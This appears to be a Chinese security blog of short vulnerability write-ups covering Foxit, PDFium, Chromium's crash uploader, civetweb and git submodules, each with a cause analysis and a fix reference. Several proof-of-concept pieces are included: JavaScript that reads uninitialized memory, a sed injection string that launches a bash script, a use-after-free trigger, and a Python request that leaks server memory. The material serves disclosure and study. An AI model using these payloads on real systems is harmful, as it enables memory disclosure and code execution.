Tuesday, June 26, 2018

[06] 支持动态语言的程序使用未初始化的内存

https://www.zerodayinitiative.com/advisories/ZDI-18-332/

var int32View = new Int32Array(0×6c);
app.alert(util.printf(”Uninitialized: 0x%04x”, int32View[0]));

Foxit中,当新建一个Int32Array,而且不赋予初始值时,Foxit并没有清零内存,而是直接使用内存。

因此,用户的脚本语言可以得到内存上原始的值。通过特定的创建、释放序列可以泄露函数地址,进而泄露程序基址。

Sunday, June 24, 2018

[05] 启动进程时的参数注入

https://bugs.chromium.org/p/chromium/issues/detail?id=817993

当没有正确处理参数并启动进程时,可能发生参数注入。

get_key_value() {
  local file="$1" key="$2" value

  if [ -f "${file}" ]; then
    # Return the first entry.  There shouldn't be more than one anyways.
    # Substr at length($1) + 2 skips past the key and following = sign (awk
    # uses 1-based indexes), but preserves embedded = characters.
>>>    value=$(sed -n "/^${key}[[:space:]]*=/{s:^[^=]*=::p;q}" "${file}")
  fi

  echo "${value:-undefined}"
}

......

  # Grab any variable that begins with upload_.
  local v
>>>  for k in $(get_keys "${meta_path}" "^upload_"); do
>>>    v="$(get_key_value "${meta_path}" "${k}")"
    case ${k} in
      # Product & version are handled separately.
      upload_var_prod) ;;
      upload_var_ver) ;;
      upload_var_*)
        set -- "$@" -F "${upload_prefix}${k#upload_var_}=${v}"
        ;;
      upload_text_*)
        if [ -r "${v}" ]; then
          set -- "$@" -F "${upload_prefix}${k#upload_text_}=<${v}"
        fi
        ;;
      upload_file_*)
        if [ -r "${v}" ]; then
          set -- "$@" -F "${upload_prefix}${k#upload_file_}=@${v}"
        fi
        ;;
    esac
  done

输入为

/p;s^.*^setsid${IFS}bash${IFS}<path-to-shell-script>${IFS}&^ep;/=1

时发生注入,原因是sed的-e参数为执行脚本。

-e script, --expression=script
add the script to the commands to be executed

[04] 内部代码串联触发callback并错误更新状态导致UAF

https://chromium-review.googlesource.com/c/chromium/src/+/964592
https://bugs.chromium.org/p/chromium/issues/detail?id=822091

PoC:

Document Javascript
-------------------
01  app.setTimeOut('this.pageNum = 4',1000);
02  app.setTimeOut('this.pageNum = 1;',2000);

Page Close event of First Page
-------------------------------
03  this.getField('txt2').setFocus();

Format event of "txt1" Text Field on First Page
---------------------------------------------
04  a = this.pageNum;

当第一条指令执行时,页面设置了4个page,每个page为一个对象,当第二条指令执行时,页面被设置为1页。
第三句执行时,程序会调用GetVisiblePageIndex重新计算页面,同时,pages_[page_index]->GetPage() 会触发Format event handler,即第4句。
第四条指令执行时,PDFiumEngine::CalculateVisiblePages()将会被调用,它使用std::swap交换visible_pages_和一个空数组,因此,visible_pages_实际上内容都是被delete的状态。

注意04实际上是由03触发调用的,03在调用04之前,将visible_pages_无效化了,所以,在04的代码GetVisiblePageIndex执行时,将会访问到被visible_pages_中被释放的内容,产生UAF。

PDFiumEngine::CalculateVisiblePages() 
{
  ...........
  std::vector<int> formerly_visible_pages;
  std::swap(visible_pages_, formerly_visible_pages);  <--- C. 04 invalidate
  ...........
}

int PDFiumEngine::GetVisiblePageIndex(FPDF_PAGE page) {
  for (int page_index : visible_pages_) {              <--- A. 03 loop
    if (pages_[page_index]->GetPage() == page)   <--- B. 03 triggers 04
      return page_index;                                      <--- D. visible_pages_ invalid now, in next loop, this code will fail. UAF.
  }
  return -1;
}

Saturday, June 23, 2018

[03] 跨平台的代码实现问题

此问题是我在审计旧版本的libcivetweb库时发现,线上版本已在2017年之后的某个版本修复

mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

这里,mg_snprintf() 是vsnprintf的Wrapper。需要注意的是,在Windows上,*snprintf族函数在输入长度>buf长度时,并不会添加。 参考MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx):

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

所以,如果在Visual Studio和Windows环境下编译这段代码,然后发送一个错误的HTTP版本号,如HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , 输出的字符串 “Bad HTTP version:[1.XXXXX” 将不会有结尾。

所以,当下一行被执行时,
mg_send_http_error(conn, 505, “%s”, ebuf);

这个字符串会发送给用户,注意这个字符串是没有结尾的,所以这里实际上会越界读取内容,并发送紧邻的内存数据,导致服务器内存信息泄露。

——————–英文版—————–

Multiple Information Leak Vulnerabilities on Windows Platform (Windows Only)

Please note this vulnerability is already fixed in early 2017, this is a report based on the older version (year 2014).

civetweb.c
mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

mg_snprintf() is a wrapper for vsnprintf. Please note on Windows platform, *snprintf family functions will not add a terminating zero to the buffer if the length of input is larger or equal to the given length, as the MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx) says:

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

So actually when you compile this code & run this code use Visual Studio & Windows, and send an HTTP request with malformed HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , the output string “Bad HTTP version:[1.XXXXX” will be truncated and with no x00 append to it.

When the second line is being executed:

mg_send_http_error(conn, 505, “%s”, ebuf);

This string is send to HTTP buffer, and the memory data adjacent to “ebuf” will be leaking to the attacker. Other snprintf calls without mandatory adding terminating zero will also face to this problem.

PoC:

#!/bin/env python
import time
import socket

host1 = '127.0.0.1'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host1, 8081))

data_to_send=("GET / HTTP/1." +  '1' * 120 + " rnContent-Length: 0rnrnrnrn")

print(data_to_send)
s.send(data_to_send)

while True:
    new = s.recv(4096)
    if not new:
      s.close()
      break
    print(new)

s.close()

Friday, June 1, 2018

[02] 路径穿越导致文件覆盖或非预期操作

https://github.com/Rogdham/CVE-2018-11235
https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/

When you clone it with the –recurse-submodules flag, the evil script is executed:

$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'

sub module 包含 ../ 时,会发生路径穿越 ‘../../modules/evil’ ,将内容写入其他目录,并因此修改git的配置文件,执行远程代码。

修正:https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44 (submodule-config: verify submodule names as paths)
检查路径中的../